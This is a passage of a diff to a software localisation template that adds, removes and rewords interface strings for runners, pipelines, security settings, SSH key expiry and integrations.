msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
